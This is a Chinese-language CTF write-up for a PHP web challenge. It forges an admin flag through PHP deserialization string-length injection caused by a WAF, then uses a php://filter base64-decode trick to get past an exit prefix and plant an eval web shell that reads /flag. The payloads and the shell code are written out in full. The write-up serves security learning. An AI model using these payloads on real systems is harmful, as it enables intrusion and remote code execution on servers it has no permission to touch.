step 1 寻找利用点
随便注册一个进去,能写入文件
php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {
$token = $_COOKIE[$cookieName];
// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);
// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);
// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie}
// 示例:验证并读取 Cookie$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
}
else{
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']||$_POST['filename']){
echo "<h1>权限不足,写入失败<h1>";
}
}
} else {
echo 'token验证失败';
}
step 2 寻找伪造admin的方法
漏洞点出现在这里
php
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
header("Location: dashboard.php");
php
function waf($c)
{
$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){
$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}
waf会将序列化后的内容替换为error,这是一个test用户应该有的序列化后的字符串
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}
但是如果有用户叫
";s:7:"isadmin";b:0;}
他序列化后的数据就是
O:4:"User":2:{s:8:"username";s:21:"";s:7:"isadmin";b:0;}";s:7:"isadmin";b:0;}
我们要伪造isadmin为1
";s:7:"isadmin";b:1;}
接下来利用'
将一个字符变为五个,也就是多出四个字符,我们需要想办法对其齐s:21
,但是21不能被4整除,我们还得配合其他字符
'''''flag";s:7:"isadmin";b:1;}
序列化后的内容会从
O:4:"User":2:{s:8:"username";s:30:"'''''flag";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}
变成
O:4:"User":2:{s:8:"username";s:30:"errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}
即可成功伪造admin
step 3 文件写入拿shell
使用伪协议filter
写和base64解码特性卡掉后面的东西
<?php eval($_POST[123])?>
filename=php://filter/convert.base64-decode/resource=./shell.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
后端和<?php exit; ?>
拼上就是
<?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
base64解码后是
¦^Æ+Z<?php eval($_POST[123])?>
然后post获取flag即可
123=system('cat /flag');